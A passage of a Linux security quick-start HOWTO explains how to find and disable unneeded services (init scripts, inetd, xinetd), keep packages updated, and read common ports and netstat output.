  # ls -l /etc/init.d/ | less

Or use whichever tools your distribution provides for this.

To stop a running service now, as root (on SysVinit style systems, which is pretty much everybody):

 # /etc/init.d/<$SERVICE_NAME> stop

Where "$SERVICE_NAME" is the name of the init script, which is often, but not always, the same as the service name itself. This should do the trick on most distributions. Older Red Hat versions may use the path /etc/rc.d/init.d/ instead.

This only stops this particular service now. It will restart again on the next reboot, or runlevel change, unless additional steps are taken. So this is really a two step process for init type services.

Your distribution will have utilities available for controlling which services are started at various runlevels. Debian based systems have update-rc.d for this, and Red Hat based systems have chkconfig. If you are familiar with these tools, do it now, and then check again after the next reboot. If you are not familiar with these tools, see the man pages and learn it now! This is something that you need to know. For Debian (where $SERVICE_NAME is the init script name):

  # update-rc.d -f $SERVICE_NAME remove

And Red Hat:

 # chkconfig $SERVICE_NAME off

Another option here is to uninstall a package if you know you do not need it. This is a pretty sure-fire, permanent fix. This also alleviates the potential problem of keeping all installed packages updated and current (Step 2). And, package management systems like RPM or DEB make it very easy to re-install a package should you change your mind.

3.3.2. Inetd

Inetd is called a "super-daemon" because it is used to spawn sub-daemons. inetd itself will generally be started via init scripts, and will "listen" on the various ports as determined by which services are enable in its configuration file, /etc/inetd.conf. Any service listed here will be under the control of inetd. Likewise, any of the listening servers in netstat output that list "inetd" in the last column under "Program Name", will have been started by inetd. You will have to adjust the inetd configuration to stop these services. xinetd is an enhanced inetd replacement, and is configured differently (see next section below).

Below is a partial snippet from a typical inetd.conf. Any service with a "#" at the beginning of the line is "commented out", and thus ignored by inetd, and consequently disabled.

#
# inetd.conf  This file describes the services that will be available
#    through the INETD TCP/IP super server.  To re-configure
#    the running INETD process, edit this file, then send the
#    INETD process a SIGHUP signal.
#
# Version:  @(#)/etc/inetd.conf  3.10  05/27/93
#
# Authors:  Original taken from BSD UNIX 4.3/TAHOE.
#    Fred N. van Kempen, <waltje@uwalt.nl.mugnet.org>
#
# Modified for Debian Linux by Ian A. Murdock <imurdock@shell.portal.com>
#
# Echo, discard, daytime, and chargen are used primarily for testing.
#
# To re-read this file after changes, just do a 'killall -HUP inetd'
#
#echo  stream  tcp  nowait  root  internal
#echo  dgram  udp   wait    root  internal
#discard  stream  tcp  nowait  root  internal
#discard  dgram  udp   wait    root  internal
#daytime  stream tcp   nowait  root  internal
#daytime  dgram  udp   wait    root  internal
#chargen  stream tcp   nowait  root  internal
#chargen  dgram  udp   wait    root  internal
time  stream    tcp   nowait  root  internal
#
# These are standard services.
#
#ftp     stream  tcp   nowait  root  /usr/sbin/tcpd  in.ftpd -l -a
#telnet  stream  tcp   nowait  root  /usr/sbin/tcpd  in.telnetd
#
# Shell, login, exec, comsat and talk are BSD protocols.
#
#shell  stream  tcp  nowait  root  /usr/sbin/tcpd  in.rshd
#login  stream  tcp  nowait  root  /usr/sbin/tcpd  in.rlogind
#exec   stream  tcp  nowait  root  /usr/sbin/tcpd  in.rexecd
#comsat dgram   udp  wait    root  /usr/sbin/tcpd  in.comsat
#talk   dgram   udp  wait    root  /usr/sbin/tcpd  in.talkd
#ntalk  dgram   udp  wait    root  /usr/sbin/tcpd  in.ntalkd
#dtalk  stream  tcp  wait    nobody /usr/sbin/tcpd in.dtalkd
#
# Pop and imap mail services et al
#
#pop-2   stream  tcp     nowait  root    /usr/sbin/tcpd  ipop2d
pop-3    stream  tcp     nowait  root    /usr/sbin/tcpd  ipop3d
#imap    stream  tcp     nowait  root    /usr/sbin/tcpd  imapd
#
# The Internet UUCP service.
#
#uucp  stream tcp nowait uucp /usr/sbin/tcpd  /usr/lib/uucp/uucico -l
#

<snip>

The above example has two services enabled: time and pop3. To disable these, all we need is to open the file with a text editor, comment out the two services with a "#", save the file, and then restart inetd (as root):

  # /etc/init.d/inetd restart

Check your logs for errors, and run netstat again to verify all went well.

A quicker way of getting the same information, using grep:

 $ grep  -v '^#' /etc/inetd.conf
 time     stream  tcp     nowait  root  internal
 pop-3    stream  tcp     nowait  root  /usr/sbin/tcpd  ipop3d

Again, do you see anything there that you don't know what it is? Then in all likelihood you are not using it, and it should be disabled.

Unlike the init services configuration, this is a lasting change so only the one step is required.

Let's expose one myth that gets tossed around: you shouldn't disable a service by commenting out, or removing, entries from /etc/services. This may have the desired effect in some cases, but is not the right way to do it, and may interfere with the normal operation of other system utilities.

3.3.3. Xinetd

xinetd is an inetd replacement with enhancements. It essentially serves the same purpose as inetd, but the configuration is different. The configuration can be in the file /etc/xinetd.conf, or individual files in the directory /etc/xinetd.d/. Turning off xinetd services is done by either deleting the corresponding configuration section, or file. Or by using your text editor and simply setting disable = yes for the appropriate service. Then, xinetd will need to be restarted. See man xinetd and man xinetd.conf for syntax and configuration options. A sample xinetd configuration:

 # default: on
 # description: The wu-ftpd FTP server serves FTP connections. It uses \
 #       normal, unencrypted usernames and passwords for authentication.
 service ftp
 {
        disable                 = no
        socket_type             = stream
        wait                    = no
        user                    = root
        server                  = /usr/sbin/in.ftpd
        server_args             = -l -a
        log_on_success          += DURATION USERID
        log_on_failure          += USERID
        nice                    = 10
 }

You can get a quick list of enabled services:

 $ grep disable /etc/xinetd.d/* |grep no
 /etc/xinetd.d/finger:   disable = no
 /etc/xinetd.d/rexec:    disable = no
 /etc/xinetd.d/rlogin:   disable = no
 /etc/xinetd.d/rsh:      disable = no
 /etc/xinetd.d/telnet:   disable = no
 /etc/xinetd.d/wu-ftpd:  disable = no

At this point, the above output should raise some red flags. In the overwhelming majority of systems, all the above can be disabled without any adverse impact. Not sure? Try it without that service. After disabling unnecessary services, then restart xinetd:

  # /etc/init.d/xinetd restart

3.3.4. When All Else Fails

OK, if you can't find the "right" way to stop a service, or maybe a service is being started and you can't find how or where, you can "kill" the process. To do this, you will need to know the PID (Process I.D.). This can be found with ps, top, fuser or other system utilities. For top and ps, this will be the number in the first column. See the Port and Process Owner section in the Appendix for examples.

Example (as root):

 # kill 1163

Then run top or ps again to verify that the process is gone. If not, then:

 # kill -KILL 1163

Note the second "KILL" in there. This must be done either by the user who owns the process, or root. Now go find where and how this process got started ;-)

The /proc filesystem can also be used to find out more information about each process. Armed with the PID, we can find the path to a mysterious process:

 $ /bin/ps ax|grep tcpgate
  921 ?   S    0:00        tcpgate

 # ls -l /proc/921/exe
 lrwxrwxrwx 1 root  root  0 July 21 12:11 /proc/921/exe -> /usr/local/bin/tcpgate

3.4. Exceptions

Above we used the criteria of turning off all unnecessary services. Sometimes that is not so obvious. And sometimes what may be required for one person's configuration is not the same for another's. Let's look at a few common services that fall in this category.

Again, our rule of thumb is if we don't need it, we won't run it. It's that simple. If we do need any of these, they are prime candidates for some kind of restrictive policies via firewall rules or other mechanisms (see below).

  • identd - This is a protocol that has been around for ages, and is often installed and running by default. It is used to provide a minimal amount of information about who is connecting to a server. But, it is not necessary in many cases. Where might you need it? Most IRC servers require it. Many mail servers use it, but don't really require it. Try your mail setup without it. If identd is going to be a problem, it will be because there is a time out before before the server starts sending or receiving mail. So mail should work fine without it, but may be slower. A few ftp servers may require it. Most don't though.

    If identd is required, there are some configuration options that can greatly reduce the information that is revealed:

    /usr/sbin/in.identd in.identd -l -e -o -n -N

    The -o flag tells identd to not reveal the operating system type it is run on and to instead always return "OTHER". The -e flag tells identd to always return "UNKNOWN-ERROR" instead of the "NO-USER" or "INVALID-PORT" errors. The -n flag tells identd to always return user numbers instead of user names, if you wish to keep the user names a secret. The -N flag makes identd check for the file .noident in the user's home directory for which the daemon is about to return a user name. It that file exists then the daemon will give the error "HIDDEN-USER" instead of the normal "USERID" response.

  • Mail server (MTA's like sendmail, qmail, etc) - Often a fully functional mail server like sendmail is installed by default. The only time that this is actually required is if you are hosting a domain, and receiving incoming mail directly. Or possibly, for exchanging mail on a LAN, in which case it does not need Internet exposure and can be safely firewalled. For your ISP's POP mail access, you don't need it even though this is a common configuration. One alternative here is to use fetchmail for POP mail retrieval with the -m option to specify a local delivery agent: fetchmail -m procmail for instance works with no sendmail daemon running at all. Sendmail, can be handy to have running, but the point is, it is not required in many situations, and can be disabled, or firewalled safely.

  • BIND (named) - This often is installed by default, but is only really needed if you are an authoritative name server for a domain. If you are not sure what this means, then you definitely don't need it. BIND is probably the number one crack target on the Internet. BIND is often used though in a "caching" only mode. This can be quite useful, but does not require full exposure to the Internet. In other words, it should be restricted or firewalled. See special handling of individual applications below.

3.5. Summary and Conclusions for Step 1

In this section we learned how to identify which services are running on our system, and were given some tips on how to determine which services may be necessary. Then we learned how to find where the services were being started, and how to stop them. If this has not made sense, now is a good time to re-read the above.

Hopefully you've already taken the above steps. Be sure to test your results with netstat again, just to verify the desired end has been achieved, and only the services that are really required are running.

It would also be wise to do this after the next reboot, anytime you upgrade a package (to make sure a new configuration does not sneak in), and after every system upgrade or new install.

Prev | Home | Next
Foreword |  | Step 2: Updating


Step 2: Updating

Security Quick-Start HOWTO for Linux
Prev Next

4. Step 2: Updating

OK, this section should be comparatively short, simple and straightforward compared to the above, but no less important.

The very first thing after a new install you should check your distribution's updates and security notices and apply all patches . Only a year old you say? That's a long time actually, and not current enough to be safe. Only a few months or few weeks? Check anyway. A day or two? Better safe than sorry. It is quite possible that security updates have been released during the pre-release phase of the development and release cycle. If you can't take this step, disable any publicly accessible services until you can.

Linux distributions are not static entities. They are updated with new, patched packages as the need arises. The updates are just as important as the original installation. Even more so, since they are fixes. Sometimes these updates are bug fixes, but quite often they are security fixes because some hole has been discovered. Such "holes" are immediately known to the cracker community, and they are quick to exploit them on a large scale. Once the hole is known, it is quite simple to get in through it, and there will be many out there looking for it. And Linux developers are also equally quick to provide fixes. Sometimes the same day as the hole has become known!

Keeping all installed packages current with your release is one of the most important steps you can take in maintaining a secure system. It can not be emphasized enough that all installed packages should be kept updated -- not just the ones you use. If this is burdensome, consider uninstalling any unused packages. Actually this is a good idea anyway.

But where to get this information in a timely fashion? There are a number of web sites that offer the latest security news. There are also a number of mailing lists dedicated to this topic. In fact, your vendor most likely has such a list where vulnerabilities and the corresponding fix is announced. This is an excellent way to stay abreast of issues effecting your release, and is highly recommended. http://linuxsecurity.com is a good site for Linux only issues. They also have weekly newsletters available: http://www.linuxsecurity.com/general/newsletter.html.

Also, many distributions have utilities that will automatically update your installed packages via ftp. This can be run as a cron job on a regular basis and is a painless way to go if you have ready Internet access.

This is not a one time process -- it is ongoing. It is important to stay current. So watch those security notices. And subscribe to your vendor's security mailing list today! If you have cable modem, DSL, or other full time connection, there is no excuse not to do this religiously. All distributions make this easy enough!

One last note: any time a new package is installed, there is also a chance that a new or revised configuration has been installed as well. Which means that if this package is a server of some kind, it may be enabled as a result of the update. This is bad manners, but it can happen, so be sure to run netstat or comparable to verify your system is where you want it after any updates or system changes. In fact, do it periodically even if there are no such changes.

4.1. Summary and Conclusions for Step 2

It is very simple: make sure your Linux installation is current. Check with your vendor for what updated packages may be available. There is nothing wrong with running an older release, just so the packages in it are updated according to what your vendor has made available since the initial release. At least as long as your vendor is still supporting the release and updates are still being provided.

Prev | Home | Next
Step 1: Which services do we really need? |  | Step 3: Firewalls and Setting Access Policies


Appendix

Security Quick-Start HOWTO for Red Hat Linux
Prev

8. Appendix

8.1. Servers, Ports, and Packets

Let's take a quick, non-technical look at some networking concepts, and how they can potentially impact our own security. We don't need to know much about networking, but a general idea of how things work is certainly going to help us with firewalls and other related issues.

As you may have noticed Linux is a very network oriented Operating System. Much is done by connecting to "servers" of one type or another -- X servers, font servers, print servers, etc.

Servers provide "services", which provide various capabilities, both to the local system and potentially other remote systems. The same server generally provides both functionalities. Some servers work quietly behind the scenes, and others are more interactive by nature. We may only be aware of a print server when we need to print something, but it is there running, listening, and waiting for connection requests whether we ever use it or not (assuming of course we have it enabled). A typical Linux installation will have many, many types of servers available to it. Default installations often will turn some of these "on".

And even if we are not connected to a real network all the time, we are still "networked" so to speak. Take our friendly local X server for instance. We may tend to think of this as just providing a GUI interface, which is only true to a point. It does this by "serving" to client applications, and thus is truly a server. But X Windows is also capable of serving remote clients over a network -- even large networks like the Internet. Though we probably don't really want to be doing this ;-)

And yes, if you are not running a firewall or have not taken other precautions, and are connected to the Internet, it is quite possible that someone -- anyone -- could connect to your X server. X11 "listens" on TCP "port" 6000 by default. This principle applies to most other servers as well -- they can be easily connected to, unless something is done to restrict or prevent connections.

In TCP/IP (Transmission Control Protocol/Internet Protocol) networks like we are talking about with Linux and the Internet, every connected computer has a unique "IP Address". Think of this like a phone number. You have a phone number, and in order to call someone else, you have to know that phone number, and then dial it. The phone numbers have to be unique for the system to work. IP address are generally expressed as "dotted quad" notation, e.g. 152.19.254.81.

On this type of network, servers are said to "listen". This means that they have a "port" opened, and are awaiting incoming connections to that port. Connections may be local, as is typically the case with our X server, or remote -- meaning from another computer "somewhere". So servers "listen" on a specific "port" for incoming connections. Most servers have a default port, such as port 80 for web servers. Or 6000 for X11. See /etc/services for a list of common ports and their associated service.

The "port" is actually just an address in the kernel's networking stack, and is a method that TCP, and other protocols, use to organize connections and the exchange of data between computers. There are total of 65,536 TCP and UDP ports available, though usually only a relatively few of these are used at any one time. These are classified as "privileged", those ports below 1024, and "unprivileged", 1024 and above. Most servers use the privileged ports.

Only one server may listen on, or "bind" to, a port at a time. Though that server may well be able to open multiple connections via that one port. Computers talk to each other via these "port" connections. One computer will open a connection to a "port" on another computer, and thus be able to exchange data via the connection that has been established between their respective ports.

Getting back to the phone analogy, and stretching it a bit, think of calling a large organization with a complex phone system. The organization has many "departments": sales, shipping, billing, receiving, customer service, R&D, etc. Each department has it's own "extension" number. So the shipping department might be extension 21, the sales might be department 80 and so on. The main phone number is the IP Address, and the department's extension is the port in this analogy. The "department's" number is always the same when we call. And generally they can handle many simultaneous incoming calls.

The data itself is contained in "packets", which are small chunks of data, generally 1500 bytes or less each. Packets are used to control and organize the connection, as well as carry data. There are different types of packets. Some are specifically used for controlling the connection, and then some packets carry our data as their payload. If there is a lot of data, it will be broken up into multiple packets which is almost always how it works. The packets will be transmitted one at a time, and then "re-assembled" at the other end. One web page for instance, will take many packets to transmit -- maybe hundreds or even thousands. This all happens very quickly and transparently.

We can see a typical connection between two computers in this one line excerpt from netstat output:

 tcp    30    0 169.254.179.139:1359    18.29.1.67:21      CLOSE_WAIT

The interesting part is the IP addresses and ports in the fourth and fifth columns. The port is the number just to the right of the colon. The left side of the colon is the IP address of each computer. The fourth column is the local address, or our end of the connection. In the example, 169.254.179.139 is the IP address assigned by my ISP. It is connected to port 21 (FTP) on 18.29.1.67, which is rpmfind.net. This is just after an FTP download from rpmfind.net. Note that while I am connected to their FTP server on their port 21, the port on my end that is used by my FTP client is 1359. This is a randomly assigned "unprivileged" port, used for my end of the two-way "conversation". The data moves in both directions: me:port#1359 <-> them:port#21. The FTP protocol is actually a little more complicated than this, but we won't delve into the finer points here. The CLOSE_WAIT is the TCP state of the connection at this particular point in time. Eventually the connection will close completely on both ends, and netstat will not show anything for this.

The "unprivileged" port that is used for my end of the connection, is temporary and is not associated with a locally running server. It will be closed by the kernel when the connection is terminated. This is quite different than the ports that are kept open by "listening" servers, which are permanent and remain "open" even after a remote connection is terminated.

So to summarize using the above example, we have client (me) connecting to a server (rpmfind.net), and the connection is defined and controlled by the respective ports on either end. The data is transmitted and controlled by packets. The server is using a "privileged" port (i.e. a port below number 1024) which stays open listening for connections. The "unprivileged" port used on my end by my client application is temporary, is only opened for the duration of the connection, and only responds to the server's port at the other end of the connection. This type of port is not vulnerable to attacks or break-ins generally speaking. The server's port is vulnerable since it remains open. The administrator of the FTP server will need to take appropriate precautions that his server is secure. Other Internet connections, such as to web servers or mail servers, work similar to the above example, though the server ports are different. SMTP mail servers use port 25, and web servers typically use port 80. See the Ports section for other commonly used ports and services.

One more point on ports: ports are only accessible if there is something listening on that port. No one can force a port open if there is no service or daemon listening there, ready to handle incoming connection requests. A closed port is a totally safe port.

And a final point on the distinction between clients and servers. The example above did not have a telnet or ftp server in the LISTENER section in the netstat example above. In other words, no such servers were running locally. You do not need to run a telnet or ftp server daemon in order to connect to somebody else's telnet or ftp server. These are only for providing these services to others that would be making connections to you. Which you don't really want to be doing in most cases. This in no way effects the ability to use telnet and ftp client software.

8.2. Common Ports

A quick run down of some commonly seen and used ports, with the commonly associated service name, and risk factor. All have some risk. It is just that some have historically had more exploits than others. That is how they are evaluated below, and not necessarily to be interpreted as whether any given service is safe or not.

1-19, assorted protocols, many of which are antiquated, and probably none of which are needed on a modern system. If you don't know what any of these are, then you definitely don't need them. The echo service (port 7) should not be confused with the common ping program. Leave all these off.

20 - FTP-DATA. "Active" FTP connections use two ports: 21 is the control port, and 20 is where the data comes through. Passive FTP does not use port 20 at all. Low risk, but see below.

21 - FTP server port, aka File Transfer Protocol. A well entrenched protocol for transferring files between systems. Very high risk, and maybe the number one crack target.

22 - SSH (Secure Shell), or sometimes PCAnywhere. Low to moderate risk (yes there are exploits even against so called "secure" services).

23 - Telnet server. For LAN use only. Use ssh instead in non-secure environments. Moderate risk.

25 - SMTP, Simple Mail Transfer Protocol, or mail server port, used for sending outgoing mail, and transferring mail from one place to another. Moderate risk. This has had a bad history of exploits, but has improved lately.

37 - Time service. This is the built-in inetd time service. Low risk. For LAN use only.

53 - DNS, or Domain Name Server port. Name servers listen on this port, and answer queries for resolving host names to IP addresses. High Risk.

67 (UDP) - BOOTP, or DHCP, server port. Low risk. If using DHCP on your LAN, this does not need to be exposed to the Internet.

68 (UDP) - BOOTP, or DHCP, client port. Low risk.

69 - tftp, or Trivial File Transfer Protocol. Extremely insecure. LAN only, if really, really needed.

79 - Finger, used to provide information about the system, and logged in users. Low risk as a crack target, but gives out way too much information and should not be run.

80 - WWW or HTTP standard web server port. The most commonly used service on the Internet. Low risk.

98 - Linuxconf web access administrative port. LAN only, if really needed at all.

110 - POP3, aka Post Office Protocol, mail server port. POP mail is mail that the user retrieves from a remote system. Low risk.

111 - sunrpc (Sun Remote Procedure Call), or portmapper port. Used by NFS (Network File System), NIS (Network Information Service), and various related services. Sounds dangerous and is high risk. LAN use only. A favorite crack target.

113 - identd, or auth, server port. Used, and sometimes required, by some older style services (like SMTP and IRC) to validate the connection. Probably not needed in most cases. Low risk, but could give an attacker too much information about your system.

119 -- nntp or news server port. Low risk.

123 - Network Time Protocol for synchronizing with time servers where a high degree of accuracy is required. Low risk, but probably not required for most users. rdate makes an easier and more secure way of updating the system clock. And then inetd's built in time service for synchronizing LAN systems is another option.

137-139 - NetBios (SMB) services. Mostly a Windows thing. Low risk on Linux, but LAN use only. 137 is a very commonly seen port attempt. A rather obnoxious protocol from Redmond that generates a lot of "noise", much of which is harmless.

143 - IMAP, Interim Mail Access Protocol. Another mail retrieval protocol. Low to moderate risk.

161 - SNMP, Simple Network Management Protocol. More commonly used in routers and switches to monitor statistics and vital signs. Not needed for most of us, and low risk.

177 - XDMCP, the X Display Management Control Protocol for remote connections to X servers. Low risk, but LAN only is recommended.

443 - HTTPS, a secure HTTP (WWW) protocol in fairly wide use. Low risk.

465 - SMTP over SSL, secure mail server protocol. Low risk.

512 (TCP) - exec is how it shows in netstat. Actually the proper name is rexec, for Remote Execution. Sounds dangerous, and is. High risk, LAN only if at all.

512 (UDP) - biff, a mail notification protocol. Low risk, LAN only.

513 - login, actually rlogin, aka Remote Login. No relation to the standard /bin/login that we use every time we log in. Sounds dangerous, and is. High risk, and LAN only if really needed.

514 (TCP) - shell is the nickname, and how netstat shows it. Actually, rsh is the application for "Remote Shell". Like all the "r" commands, this is a throw back to kindler, gentler times. Very insecure, so high risk, and LAN only usage, if at all.

514 (UDP) - syslog daemon port, only used for remote logging purposes. The average user does not need this. Probably low risk, but definitely LAN only if really required.

515 - lp or print server port. High risk, and LAN only of course. Someone on the other side of the world does not want to use your printer for it's intended purpose!

587 - MSA, or "submission", the Mail Submission Agent protocol. A new mail handling protocol supported by most MTA's (mail servers). Low risk.

631 - the CUPS (print daemon) web management port. LAN only, low risk.

635 - mountd, part of NFS. LAN use only.

901 - SWAT, Samba Web Administration Tool port. LAN only.

993 - IMAP over SSL, secure IMAP mail service. Very low risk.

995 - POP over SSL, secure POP mail service. Very low risk.

1024 - This is the first "unprivileged" port, which is dynamically assigned by the kernel to whatever application requests it. This can be almost anything. Ditto for ports just above this.

1080 - Socks Proxy server. A favorite crack target.

1243 - SubSeven Trojan. Windows only problem.

1433 - MS SQL server port. A sometimes target. N/A on Linux.

2049 - nfsd, Network File Service Daemon port. High risk, and LAN usage only is recommended.

3128 - Squid proxy server port. Low risk, but for most should be LAN only.

5432 - Postgres SQL server port. LAN only, relatively low risk.

5631 (TCP), 5632 (UDP) - PCAnywhere ports. Windows only. PCAnywhere can be quite "noisy", and broadcast wide address ranges.

6000 - X11 TCP port for remote connections. Low to moderate risk, but again, this should be LAN only. Actually, this can include ports 6000-6009 since X can support multiple displays and each display would have its own port. ssh's X11Forwarding will start using ports at 6010.

6346 - gnutella.

6667 - ircd, Internet Relay Chat Daemon.

6699 - napster.

7100-7101 - Some font servers use these ports. Low risk, but LAN only.

8000 and 8080 - common web cache and proxy server ports. LAN only.

10000 - webmin, a web based system administration utility. Low risk at this point.

27374 - SubSeven, a commonly probed for Windows only Trojan. Also, 1243.

31337 - Back Orifice, another commonly probed for Windows only Trojan.

More services and corresponding port numbers can be found in /etc/services. Also, the "official" list is http://www.iana.org/assignments/port-numbers.

A great analysis of what probes to these and other ports might mean from Robert Graham: http://www.linuxsecurity.com/resource_files/firewalls/firewall-seen.html. A very good reference.

Another point here, these are the standard port designations. There is no law that says any service has to run on a specific port. Usually they do, but certainly they don't always have to.

Just a reminder that when you see these types of ports in your firewall logs, it is not anything to go off the deep end about. Not if you have followed Steps 1-3 above, and verified your firewall works. You are fairly safe. Much of this traffic may be "stray bullets" too -- Internet background noise, misconfigured clients or routers, noisy Windows stuff, etc.

8.3. Netstat Tutorial

8.3.1. Overview

netstat is a very useful utility for viewing the current state of your network status -- what servers are listening for incoming connections, what interfaces they listen on, who is connected to us, who we are connect to, and so on. Take a look at the man page for some of the many command line options. We'll just use a relative few options here.

As an example, let's check all currently listening servers and active connections for both TCP and UDP on our hypothetical host, bigcat. bigcat is a home desktop installation, with a DSL Internet connection in this example. bigcat has two ethernet cards: one for the external connection to the ISP, and one for a small LAN with an address of 192.168.1.1.

$ netstat -tua
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 *:printer               *:*                     LISTEN
tcp        0      0 bigcat:8000             *:*                     LISTEN
tcp        0      0 *:time                  *:*                     LISTEN
tcp        0      0 *:x11                   *:*                     LISTEN
tcp        0      0 *:http                  *:*                     LISTEN
tcp        0      0 bigcat:domain           *:*                     LISTEN
tcp        0      0 bigcat:domain           *:*                     LISTEN
tcp        0      0 *:ssh                   *:*                     LISTEN
tcp        0      0 *:631                   *:*                     LISTEN
tcp        0      0 *:smtp                  *:*                     LISTEN
tcp        0      1 dsl-78-199-139.s:1174   64.152.100.93:nntp      SYN_SENT
tcp        0      1 dsl-78-199-139.s:1175   64.152.100.93:nntp      SYN_SENT
tcp        0      1 dsl-78-199-139.s:1173   64.152.100.93:nntp      SYN_SENT
tcp        0      0 dsl-78-199-139.s:1172   207.153.203.114:http    ESTABLISHED
tcp        1      0 dsl-78-199-139.s:1199   www.xodiax.com:http     CLOSE_WAIT
tcp        0      0 dsl-78-199-139.sd:http  63.236.92.144:34197     TIME_WAIT
tcp      400      0 bigcat:1152             bigcat:8000             CLOSE_WAIT
tcp     6648      0 bigcat:1162             bigcat:8000             CLOSE_WAIT
tcp      553      0 bigcat:1164             bigcat:8000             CLOSE_WAIT
udp        0      0 *:32768                 *:*
udp        0      0 bigcat:domain           *:*
udp        0      0 bigcat:domain           *:*
udp        0      0 *:631                   *:*

This output probably looks very different from what you get on your own system. Notice the distinction between "Local Address" and "Foreign Address", and how each includes a corresponding port number (or service name if available) after the colon. "Local Address" is our end of the connection. The first group with LISTEN in the far right hand column are services that are running on this system. These are servers that are running in the background on bigcat, and "listen" for incoming connections. So they have a port opened, and this is where they "listen". These connections might come from the local system (i.e. bigcat itself), or remote systems. This is very important information to have! The others just below this are connections that have been established from this system to other systems. The respective connections are in varying states as indicated by the key words in the last column. Those with no key word in the last column at the end are servers responding to UDP connections. UDP is a different protocol from TCP altogether, but is used for some types of low priority network traffic.

Now, the same thing with the "-n" flag to suppress converting to "names" so we can actually see the port numbers:

$ netstat -taun
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address      State
tcp        0      0 0.0.0.0:515             0.0.0.0:*            LISTEN
tcp        0      0 127.0.0.1:8000          0.0.0.0:*            LISTEN
tcp        0      0 0.0.0.0:37              0.0.0.0:*            LISTEN
tcp        0      0 0.0.0.0:6000            0.0.0.0:*            LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*            LISTEN
tcp        0      0 192.168.1.1:53          0.0.0.0:*            LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*            LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*            LISTEN
tcp        0      0 0.0.0.0:631             0.0.0.0:*            LISTEN
tcp        0      0 0.0.0.0:25              0.0.0.0:*            LISTEN
tcp        0      1 169.254.179.139:1174    64.152.100.93:119    SYN_SENT
tcp        0      1 169.254.179.139:1175    64.152.100.93:119    SYN_SENT
tcp        0      1 169.254.179.139:1173    64.152.100.93:119    SYN_SENT
tcp        0      0 169.254.179.139:1172    207.153.203.114:80   ESTABLISHED
tcp        1      0 169.254.179.139:1199    216.26.129.136:80    CLOSE_WAIT
tcp        0      0 169.254.179.139:80      63.236.92.144:34197  TIME_WAIT
tcp      400      0 127.0.0.1:1152          127.0.0.1:8000       CLOSE_WAIT
tcp     6648      0 127.0.0.1:1162          127.0.0.1:8000       CLOSE_WAIT
tcp      553      0 127.0.0.1:1164          127.0.0.1:8000       CLOSE_WAIT
udp        0      0 0.0.0.0:32768           0.0.0.0:*
udp        0      0 192.168.1.1:53          0.0.0.0:*
udp        0      0 127.0.0.1:53            0.0.0.0:*
udp        0      0 0.0.0.0:631             0.0.0.0:*

Let's look at the first few lines of this in detail. On line one,

 tcp        0      0 0.0.0.0:515            0.0.0.0:*          LISTEN

"Local Address" is 0.0.0.0, meaning "all" interfaces that are available. The local port is 515, or the standard print server port, usually owned by the lpd daemon. You can find a listing of common service names and corresponding ports in the file /etc/services.

The fact that it is listening on all interfaces is significant. In this case, that would be lo (localhost), eth0, and eth1. Printer connections could conceivably be made over any of these interfaces. Should a user on this system bring up a PPP connection, then the print daemon would be listening on that interface (ppp0) as well. The "Foreign Address" is also 0.0.0.0, meaning from "anywhere".

It is also worth noting here, that even though this server is telling the kernel to listen on all interfaces, the netstat output does not reflect whether there may be a firewall in place that may be filtering incoming connections. We just can't tell that at this point. Obviously, for certain servers, this is very desirable. Nobody outside your own LAN has any reason whatsoever to connect to your print server port for instance.

Line two is a little different:

 tcp        0      0 127.0.0.1:8000         0.0.0.0:*          LISTEN

Notice the "Local Address" this time is localhost's address of 127.0.0.1. This is very significant as only connections local to this machine will be accepted. So only bigcat can connect to bigcat's TCP port 8000. The security implications should be obvious. Not all servers have configuration options that allow this kind of restriction, but it is a very useful feature for those that do. Port 8000 in this example, is owned by the web proxy Junkbuster.

With the next three entries, we are back to listening on all available interfaces:

 tcp        0      0 0.0.0.0:37             0.0.0.0:*           LISTEN
 tcp        0      0 0.0.0.0:6000           0.0.0.0:*           LISTEN
 tcp        0      0 0.0.0.0:80             0.0.0.0:*           LISTEN

Looking at /etc/services, we can tell that port 37 is a "time" service, which is a time server. 6000 is X11, and 80 is the standard port for HTTP servers like Apache. There is nothing really unusual here as these are all readily available services on Linux.

The first two above are definitely not the kind of services you'd want just anyone to connect to. These should be firewalled so that all outside connections are refused. Again, we can't tell from this output whether any firewall is in place, much less how effectively implemented it may be.

The web server on port 80 is not a huge security risk by itself. HTTP is a protocol that is often open to all comers. For instance, if we wanted to host our own home page, Apache can certainly do this for us. It is also possible to firewall this off, so that it is for use only to our LAN clients as part of an Intranet. Obviously too, if you do not have a good justification for running a web server, then it should be disabled completely.

The next two lines are interesting:

 tcp        0      0 192.168.1.1:53         0.0.0.0:*           LISTEN
 tcp        0      0 127.0.0.1:53           0.0.0.0:*           LISTEN

Again notice the "Local Address" is not 0.0.0.0. This is good! The port this time is 53, or the DNS port used by nameserver daemons like named. But we see the nameserver daemon is only listening on the lo interface (localhost), and the interface that connects bigcat to the LAN. So the kernel only allows connections from localhost, and the LAN. There will be no port 53 available to outside connections at all. This is a good example of how individual applications can sometimes be securely configured. In this case, we are probably looking at a caching DNS server since a real nameserver that is responsible for handling DNS queries would have to have port 53 open to the world. This is a security risk and requires special handling.

The last three LISTENER entries:

 tcp        0      0 0.0.0.0:22             0.0.0.0:*           LISTEN
 tcp        0      0 0.0.0.0:631            0.0.0.0:*           LISTEN
 tcp        0      0 0.0.0.0:25             0.0.0.0:*           LISTEN

These are back to listening on all available interfaces. Port 22 is sshd, the Secure Shell server daemon. This is a good sign! Notice that the service for port 631 does not have a service name if we look at the output in the first example. This might be a clue that something unusual is going on here. (See the next section for the answer to this riddle.) And lastly, port 25, the standard port for the SMTP mail daemon. Most Linux installations probably will have an SMTP daemon running, so this is not necessarily unusual. But is it necessary?

The next grouping is established connections. For our purposes the state of the connection as indicated by the last column is not so important. This is well explained in the man page.

 tcp        0      1 169.254.179.139:1174    64.152.100.93:119    SYN_SENT
 tcp        0      1 169.254.179.139:1175    64.152.100.93:119    SYN_SENT
 tcp        0      1 169.254.179.139:1173    64.152.100.93:119    SYN_SENT
 tcp        0      0 169.254.179.139:1172    207.153.203.114:80   ESTABLISHED
 tcp        1      0 169.254.179.139:1199    216.26.129.136:80    CLOSE_WAIT
 tcp        0      0 169.254.179.139:80      63.236.92.144:34197  TIME_WAIT
